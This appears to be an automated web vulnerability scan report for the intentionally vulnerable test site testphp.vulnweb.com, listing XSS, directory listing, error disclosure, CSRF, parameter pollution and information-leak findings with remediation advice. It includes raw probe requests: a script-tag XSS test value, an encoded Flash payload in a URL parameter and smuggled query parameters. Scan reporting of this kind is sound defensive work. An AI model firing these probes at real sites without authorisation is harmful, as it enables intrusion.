`GET /hpp/params.php?p=CWS%07%0e000x%9c=%8d1N%c3%40%10E%df%ae%8d%bdI%08)%d3%40%1d%a0%a2%05%09%11%89HiP"%05D%8bF%8e%0bG%26%1b%d9%8e%117%a0%a2%dc%82%8a%1br%04X;!S%8c%fe%cc%9b%f9%ff%aa%cb7Jq%af%7f%ed%f2.%f8%01>%9e%18p%c9c%9al%8b%aczG%f2%dc%beM%ec%abdkj%1e%ac%2c%9f%a5(%b1%eb%89T%c2Jj)%93"%dbT7%24%9c%8fH%cbD6)%a3%0bx)%ac%ad%d8%92%fb%1f%5c%07C%ac%7c%80Q%a7Nc%f4b%e8%fa%98%20b_%26%1c%9f5%20h%f1%d1g%0f%14%c1%0a]s%8d%8b0Q%a8L<%9b6%d4L%bd_%a8w%7e%9d[%17%f3/[%dcm{%ef%cb%ef%e6%8d:n-%fb%b3%c3%dd.%e3d1d%ec%c7%3f6%cd0%09&pp=12 HTTP/1.1` `Referer: http://testphp.vulnweb.com` `Cookie: mycookie=3` `Host: testphp.vulnweb.com` `Connection: Keep-alive` `Accept-Encoding: gzip,deflate` `User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21` `Accept: */*`

Cross site scripting (content-sniffing)

Severity	**Medium**
Reported by module	Scripting (XSS.script)

Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your script should filter metacharacters from user input.

References

Acunetix Cross Site Scripting Attack (http://www.acunetix.com/websitesecurity/cross-site-scripting.htm)
VIDEO: How Cross-Site Scripting (XSS) Works (http://www.acunetix.com/blog/web-security-zone/video-how-cross-site-scripting-xss-works/)
The Cross Site Scripting Faq (http://www.cgisecurity.com/xss-faq.html)
OWASP Cross Site Scripting (http://www.owasp.org/index.php/Cross_Site_Scripting)
XSS Filter Evasion Cheat Sheet (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
Cross site scripting (http://en.wikipedia.org/wiki/Cross-site_scripting)
OWASP PHP Top 5 (http://www.owasp.org/index.php/PHP_Top_5)
How To: Prevent Cross-Site Scripting in ASP.NET (http://msdn.microsoft.com/en-us/library/ms998274.aspx)

Affected items

/showimage.php

Details

{"input_type":"URL encoded GET","input_name":"file","test_value":"1\'()&%<acx><ScRiPt >dJ9U(9551)</ScRiPt>","extra_details":false,"repro":"This type of XSS can only be triggered on (and affects) content sniffing browsers.","reflection_point":false}

Request headers

```
GET /showimage.php?file=1'"()%26%25<acx><ScRiPt%20>dJ9U(9551)</ScRiPt> HTTP/1.1
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Directory listing

Severity	**Medium**
Reported by module	Scripting (Directory_Listing.script)

Description

The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.

Impact

A user can view a list of all files from this directory possibly exposing sensitive information.

Recommendation

You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.

References

Directory Listing and Information Disclosure (http://www.acunetix.com/blog/web-security-zone/directory-listing-information-disclosure/)

Affected items

/Flash

Details

Pattern found:

```
<title>Index of /Flash/</title>
```

Request headers

```
GET /Flash/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Flash/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/images

Details

Pattern found:

```
<title>Index of /images/</title>
```

Request headers

```
GET /images/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/images/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Templates

Details

Pattern found:

```
<title>Index of /Templates/</title>
```

Request headers

```
GET /Templates/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Templates/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/images

Details

Pattern found:

```
<title>Index of /Mod_Rewrite_Shop/images/</title>
```

Request headers

```
GET /Mod_Rewrite_Shop/images/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/.idea

Details

Pattern found:

```
<title>Index of /.idea/</title>
```

Request headers

```
GET /.idea/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/.idea/scopes

Details

Pattern found:

```
<title>Index of /.idea/scopes/</title>
```

Request headers

```
GET /.idea/scopes/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/_mmServerScripts

Details

Pattern found:

```
<title>Index of /_mmServerScripts/</title>
```

Request headers

```
GET /_mmServerScripts/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Connections

Details

Pattern found:

```
<title>Index of /Connections/</title>
```

Request headers

```
GET /Connections/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/pictures

Details

Pattern found:

```
<title>Index of /pictures/</title>
```

Request headers

```
GET /pictures/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/wvstests

Details

Pattern found:

```
<title>Index of /wvstests/</title>
```

Request headers

```
GET /wvstests/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/wvstests/pmwiki_2_1_19

Details

Pattern found:

```
<title>Index of /wvstests/pmwiki_2_1_19/</title>
```

Request headers

```
GET /wvstests/pmwiki_2_1_19/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/wvstests/pmwiki_2_1_19/scripts

Details

Pattern found:

```
<title>Index of /wvstests/pmwiki_2_1_19/scripts/</title>
```

Request headers

```
GET /wvstests/pmwiki_2_1_19/scripts/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Error message on page

Severity	**Medium**
Reported by module	Scripting (Text_Search_File.script)

Description

This page contains an error/warning message that may disclose sensitive information. The message can also contain the location of the file that produced the unhandled exception.

This may be a false positive if the error message is found in documentation pages.

Impact

The error messages may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Review the source code for this script.

References

PHP Runtime Configuration (http://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)

Affected items

/listproducts.php

Details

Pattern found:

```
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, null given in <b>/hj
/var/www//listproducts.php</b> on line <b>55</b><br />
```

Request headers

```
GET /listproducts.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/search.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infoartist.php

Details

Pattern found:

```
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>
/hj/var/www//AJAX/infoartist.php</b> on line <b>2</b><br />
```

Request headers

```
GET /AJAX/infoartist.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/AJAX/index.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infocateg.php

Details

Pattern found:

```
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>
/hj/var/www//AJAX/infocateg.php</b> on line <b>2</b><br />
```

Request headers

```
GET /AJAX/infocateg.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/AJAX/index.php
Acunetix-Aspect: enabled
```

```
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infotitle.php

Details

Pattern found:

```
<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>
/hj/var/www//AJAX/infotitle.php</b> on line <b>2</b><br />
```

Request headers

```
GET /AJAX/infotitle.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/AJAX/index.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Connections/DB_Connection.php

Details

Pattern found:

```
Fatal error
```

Request headers

```
GET /Connections/DB_Connection.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/pictures/path-disclosure-unix.html

Details

Pattern found:

```
<b>Warning</b>:  Sablotron error on line 1: XML parser error 3: no element found in <b>/usr/
local/etc/httpd/htdocs2/destination-ce/destinationce/system/class/xsltTransform.class.php</b
> on line <b>70</b><br />
```

Request headers

```
GET /pictures/path-disclosure-unix.html HTTP/1.1
```

```
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/secured/database_connect.php

Details

Pattern found:

```
<b>Warning</b>: mysql_connect(): Access denied for user 'wauser'@'localhost' (using password
: NO) in <b>/hj/var/www//secured/database_connect.php</b> on line <b>2</b><br />
```

Request headers

```
GET /secured/database_connect.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

HTML form without CSRF protection

Severity	**Medium**
Reported by module	Crawler

Description

This alert may be a false positive, manual confirmation is required.

Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.

Acunetix WVS found a HTML form with no apparent CSRF protection implemented. Consult details for more information about the affected HTML form.

Impact

An attacker may force the users of a web application to execute actions of the attacker"s choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

Recommendation

Check if this form requires CSRF protection and implement CSRF countermeasures if necessary.

Affected items

Web Server

Details

Form name: <empty>
Form action: http://testphp.vulnweb.com/search.php?test=query
Form method: POST

Form inputs:

- searchFor [Text]
- goButton [Submit]

Request headers

```
GET / HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/login.php

Details

Form name: loginform
Form action: http://testphp.vulnweb.com/userinfo.php
Form method: POST

Form inputs:

- uname [Text]
- pass [Password]

Request headers

```
GET /login.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/guestbook.php

Details

Form name: faddentry
Form action: http://testphp.vulnweb.com/guestbook.php
Form method: POST

Form inputs:

- name [Hidden]
- text [TextArea]
- submit [Submit]

Request headers

```
GET /guestbook.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
```

```
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/comment.php

Details

Form name: fComment
Form action: http://testphp.vulnweb.com/comment.php
Form method: POST

Form inputs:

- name [Text]
- comment [TextArea]
- Submit [Submit]
- phpaction [Hidden]

Request headers

```
GET /comment.php?aid=3 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/artists.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/signup.php

Details

Form name: form1
Form action: http://testphp.vulnweb.com/secured/newuser.php
Form method: POST

Form inputs:

- uuname [Text]
- upass [Password]
- upass2 [Password]
- urname [Text]
- ucc [Text]
- uemail [Text]
- uphone [Text]
- uaddress [TextArea]
- signup [Submit]

Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/login.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/hpp

Details

Form name: <empty>
Form action: http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12
Form method: GET

Form inputs:

- aaaa [Submit]

Request headers

```
GET /hpp/?pp=12 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/hpp/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

HTTP parameter pollution

Severity	**Medium**
Reported by module	Scripting (HTTP_Parameter_Pollution.script)

Description

This script is possibly vulnerable to HTTP Parameter Pollution attacks.

HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks.

Impact

The impact depends on the affected web application. An attacker could

- Override existing hardcoded HTTP parameters
- Modify the application behaviors
- Access and, potentially exploit, uncontrollable variables
- Bypass input validation checkpoints and WAFs rules

Recommendation

The application should properly sanitize user input (URL encode) to protect against this vulnerability.

References

HTTP Parameter Pollution (https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf)

Affected items

/hpp

Details

URL encoded GET input **pp** was set to **12&n913071=v945243**
Parameter precedence: **last occurrence**

Affected link: **params.php?p=valid&pp=12&n913071=v945243**
Affected parameter: **p=valid**

Request headers

```
GET /hpp/?pp=12%26n913071=v945243 HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/hpp/index.php

Details

URL encoded GET input **pp** was set to **12&n978291=v960868**
Parameter precedence: **last occurrence**
Affected link: **params.php?p=valid&pp=12&n978291=v960868**
Affected parameter: **p=valid**

Request headers

```
GET /hpp/index.php?pp=12%26n978291=v960868 HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Insecure crossdomain.xml file

Severity	**Medium**
Reported by module	Scripting (Crossdomain_XML.script)

Description

The browser security model normally prevents web content from one domain from accessing data from another domain. This is commonly known as the "same origin policy". URL policy files grant cross-domain permissions for reading data. They permit operations that are not permitted by default. The URL policy file is located, by default, in the root directory of the target server, with the name crossdomain.xml (for example, at www.example.com/crossdomain.xml).

When a domain is specified in crossdomain.xml file, the site declares that it is willing to allow the operators of any servers in that domain to obtain any document on the server where the policy file resides. The crossdomain.xml file deployed on this website opens the server to all domains (use of a single asterisk "*" as a pure wildcard is supported) like so:

```
<cross-domain-policy>

<allow-access-from domain="*" />

</cross-domain-policy>
```

This practice is suitable for public servers, but should not be used for sites located behind a firewall because it could permit access to protected areas. It should not be used for sites that require authentication in the form of passwords or cookies. Sites that use the common practice of authentication based on cookies to access private or user-specific data should be especially careful when using cross-domain policy files.

Impact

Using an insecure cross-domain policy file could expose your site to various attacks.

Recommendation

Carefully evaluate which sites will be allowed to make cross-domain calls. Consider network topology and any authentication mechanisms that will be affected by the configuration or implementation of the cross-domain policy.

References

Cross-domain policy file usage recommendations for Flash Player (http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html)
Cross-domain policy files (http://blogs.adobe.com/stateofsecurity/2007/07/crossdomain_policy_files_1.html)

Affected items

Web Server
Details
The crossdomain.xml file is located at **/crossdomain.xml**.
Request headers

`GET /crossdomain.xml HTTP/1.1`
`Host: testphp.vulnweb.com`
`Connection: Keep-alive`
`Accept-Encoding: gzip,deflate`
`User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)`
`Chrome/41.0.2228.0 Safari/537.21`
`Accept: */*`

JetBrains .idea project directory

Severity	**Medium**
Reported by module	Scripting (JetBrains_Idea_Project_Directory.script)

Description

The .idea directory contains a set of configuration files (.xml) for your project. These configuration files contain information core to the project itself, such as names and locations of its component modules, compiler settings, etc. If you've defined a data source the file dataSources.ids contains information for connecting to the database and credentials. The workspace.xml file stores personal settings such as placement and positions of your windows, your VCS and History settings, and other data pertaining to the development environment. It also contains a list of changed files and other sensitive information. These files should not be present on a production system.

Impact

These files may expose sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove these files from production systems or restrict access to the .idea directory. To deny access to all the .idea folders you need to add the following lines in the appropriate context (either global config, or vhost/directory, or from .htaccess):

```
<Directory ~ "\.idea">

Order allow,deny

Deny from all

</Directory>
```

References

Apache Tips & Tricks: Deny access to some folders (http://www.ducea.com/2006/08/11/apache-tips-tricks-deny-access-to-some-folders/)

Affected items

Web Server
Details
workspace.xml project file found at : /.idea/workspace.xml Pattern found:

```
<project version="4">
```

Request headers

```
GET /.idea/workspace.xml HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

PHP errors enabled (AcuSensor)

Severity	**Medium**
Reported by module	

Description

The display_errors directive determines whether error messages should be sent to the browser. These messages frequently contain sensitive information about your web application environment, and should never be presented to untrusted sources.

display_errors is on by default.

Impact

Possible information disclosure.

Recommendation

You can disable display_errors from php.ini or .htaccess.

php.ini
display_errors = 'off'
log_errors = 'on'

.htaccess
php_flag display_errors off
php_flag log_errors on

Affected items

Web Server
Details
Current setting is : **display_errors = 1**
Request headers

PHPinfo page found

Severity	**Medium**
Reported by module	Scripting (Text_Search_File.script)

Description

This script is using phpinfo() function. This function outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.

Impact

This file may expose sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove the file from production systems.

References

PHP phpinfo (http://www.php.net/manual/en/function.phpinfo.php)

Affected items

/secured/phpinfo.php
Details
Pattern found: `<title>phpinfo()</title>`
Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Source code disclosure

Severity	**Medium**
Reported by module	Scripting (Text_Search_File.script)

Description

Looks like the source code for this script is available. This check is using pattern matching to determine if server side tags are found in the file. In some cases this alert may generate false positives.

Impact

An attacker can gather sensitive information (database connection strings, application logic) by analyzing the source code. This information can be used to conduct further attacks.

Recommendation

Remove this file from your website or change its permissions to remove access.

References

Source Code Disclosure (http://www.imperva.com/resources/glossary?term=source_code_disclosure)

Affected items

/index.bak
Details
This file was found using the pattern . Original filename: Pattern found:

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTML
IsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
